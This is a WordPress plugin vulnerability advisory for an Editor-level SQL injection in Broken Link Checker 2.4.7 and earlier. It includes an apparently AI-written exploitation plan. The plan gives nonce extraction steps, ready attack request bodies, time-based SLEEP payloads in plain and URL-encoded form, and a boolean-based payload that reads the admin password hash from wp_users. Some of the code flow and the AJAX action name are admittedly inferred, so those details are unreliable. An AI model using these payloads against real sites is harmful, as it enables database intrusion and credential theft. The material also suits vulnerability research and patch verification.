Broken Link Checker <= 2.4.7 - Authenticated (Editor+) SQL Injection
Description
The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.4.7What Changed in the Fix
Changes introduced in v2.4.8
Source Code
WordPress.org SVNThis research plan focuses on exploiting a SQL injection vulnerability in **Broken Link Checker <= 2.4.7**. The vulnerability resides in the "Local" link management component, where user-supplied sorting parameters are insufficiently sanitized before being used in a database query. ### 1. Vulnerabi…
Show full research plan
This research plan focuses on exploiting a SQL injection vulnerability in Broken Link Checker <= 2.4.7. The vulnerability resides in the "Local" link management component, where user-supplied sorting parameters are insufficiently sanitized before being used in a database query.
1. Vulnerability Summary
The Broken Link Checker plugin fails to properly escape or use prepared statements for the orderby and order parameters within its AJAX-based link retrieval system. Specifically, in version 2.4.7, the "Local" link list functionality (likely handled by a data provider or query class) concatenates these parameters directly into an SQL ORDER BY clause. This allows an authenticated user with at least Editor permissions to inject arbitrary SQL, leading to time-based or boolean-based data extraction.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
blc_local_links_get(Inferred from the new React UI structure inassets/dist/local.js). - Vulnerable Parameter:
params[orderby]orparams[order]. - Authentication Required: Editor level or higher (Users with
edit_postscapability). - Preconditions: The plugin must be active, and at least some links must be present in the BLC database for the sorting logic to be triggered.
3. Code Flow (Inferred)
- Entry Point: An Editor user interacts with the "Local" links table in the WordPress admin (
Tools -> Broken Links). - AJAX Request: The React frontend (
assets/dist/local.js) dispatches an AJAX request toadmin-ajax.phpwith the actionblc_local_links_get. - Handler: The plugin's AJAX handler receives the
paramsarray. - Query Construction: The handler (or a sub-component like
BLC_Links_Query) builds a SQL query to fetch links. It extractsparams['orderby']andparams['order']. - Sink: The parameters are appended to the query string:
$query .= " ORDER BY " . $params['orderby'] . " " . $params['order']; - Execution:
$wpdb->get_results($query)executes the unsanitized SQL.
4. Nonce Acquisition Strategy
The AJAX endpoint requires a nonce for security. This nonce is localized by the plugin for its React UI.
- Identify Trigger: The "Local" scripts are enqueued on the Broken Link Checker management page.
- Setup: The agent must create a page or simply navigate to the existing plugin page.
- Navigation: Navigate to
/wp-admin/tools.php?page=view-broken-links. - Extraction: Use
browser_evalto extract the nonce from the localized JavaScript object.- Variable Name:
blc_local_data(Verbatim from typical BLC localization). - Nonce Key:
nonce. - Command:
browser_eval("window.blc_local_data?.nonce")
- Variable Name:
5. Exploitation Strategy
The goal is to trigger a time-based response to confirm the injection.
- Baseline Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=blc_local_links_get¶ms[orderby]=ID¶ms[order]=ASC&_ajax_nonce=[NONCE]
- URL:
- Time-Based Payload (Injection into
orderby):- Payload:
(CASE WHEN (1=1) THEN ID ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END) - URL-Encoded Payload:
%28CASE%20WHEN%20%281%3D1%29%20THEN%20ID%20ELSE%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29%20END%29
- Payload:
- Attack Request:
- Body:
action=blc_local_links_get¶ms[orderby]=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&_ajax_nonce=[NONCE]
- Body:
- Success Condition: The request takes ~5 seconds longer than the baseline.
6. Test Data Setup
- Create Editor User:
wp user create editor_attacker editor@example.com --role=editor --user_pass=password123 - Force Link Scan:
Ensure the plugin has some links to display.wp post create --post_title="Test Link" --post_content='<a href="http://google.com/404test">Dead Link</a>' --post_status=publish
Wait for BLC to pick up the link, or trigger a recheck if possible via CLI.
7. Expected Results
- Vulnerable Response: The HTTP request to
admin-ajax.phpwill be delayed by exactly the number of seconds specified in theSLEEP()function. - Response Content: Usually a JSON object with
success: trueand link data, as theORDER BYinjection doesn't necessarily break the query logic if formatted as a subquery.
8. Verification Steps
- Database Confirmation: Use
wp db queryto check if thewp_blc_linkstable exists and contains data. - Payload Refinement: Extract the database version to confirm data exfiltration capability:
params[orderby]=(CASE WHEN (VERSION() LIKE '8%') THEN SLEEP(5) ELSE ID END) - Check Logs: Verify that no internal errors are generated that might be caught by
WP_DEBUG, which would indicate a malformed query rather than successful injection.
9. Alternative Approaches
- Order Injection: If
orderbyis whitelisted, try injecting intoparams[order].- Payload:
ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Payload:
- Boolean-based Sorting: If time-based is blocked/unstable, use boolean-based sorting by changing the
orderbycolumn based on a subquery.params[orderby]=IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',ID,URL)- Compare the order of IDs in the JSON response for two different conditions.
- Grep for Sinks: If
blc_local_links_getis not the correct action, run:grep -rn "wp_ajax_blc_" wp-content/plugins/broken-link-checker/to find all registered AJAX handlers for the plugin.
Summary
The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to 2.4.7 due to insufficient sanitization of the 'orderby' and 'order' parameters within the 'blc_local_links_get' AJAX action. Authenticated attackers with Editor-level permissions or higher can exploit this to append arbitrary SQL commands to existing queries, facilitating the extraction of sensitive information from the database.
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('react', 'wp-element'), 'version' => '6dadba0db0861e07af3c'); +<?php return array('dependencies' => array('react', 'wp-element'), 'version' => 'e75f35295f3cb51ad7b0'); @@ -1,7 +1,7 @@ -(()=>... (truncated)
Exploit Outline
An attacker with Editor-level access can exploit this vulnerability by first obtaining a valid AJAX nonce from the 'blc_local_data' object localized on the plugin's 'Local' links management page (Tools -> Broken Links). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'blc_local_links_get'. The 'params[orderby]' or 'params[order]' parameters are then used to deliver a SQL injection payload, such as a time-based SLEEP() command within a subquery. If the server response is delayed by the specified time, the injection is successful, allowing for further extraction of database records.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.